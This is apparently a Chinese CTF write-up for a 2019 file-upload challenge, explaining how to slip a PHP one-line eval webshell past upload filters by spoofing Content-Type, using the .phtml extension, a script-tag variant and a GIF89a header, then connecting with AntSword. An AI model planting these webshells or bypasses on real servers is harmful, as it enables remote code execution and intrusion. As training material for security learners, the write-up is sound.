[极客大挑战 2019]Upload 1题解
前置知识
图片的文件头
GIF89a
文件上传后的常用路径
http://xxxx/upload/文件名
常见的php后缀
php2, php3, php3, php5, phps, pht, phtm, phtml
一句话木马被ban< ?
<script language="php">eval($_REQUEST[kb])</script>
题目详解
打开题目是文件上传,要求上传头像
写一个一句话木马
<?php @eval($_POST['kb']); ?>
直接上传,用burpsuite抓包,发现content-type,将其值改为image/jpeg,send发现
尝试将后缀改为phtml,发现
将一句话木马改为
<script language="php">eval($_REQUEST[kb])</script>
重新提交,发现
猜测可能检查图片文件头,将一句话木马改为
GIF89a? <script language="php">eval($_REQUEST[kb])</script>
重新提交
猜测文件上传到/upload/文件名中,访问,找到文件。
利用蚁剑链接,在/中找到flag
参考:
https://blog.csdn.net/rfrder/article/details/109225258
https://www.cnblogs.com/yunqian2017/p/13308641.html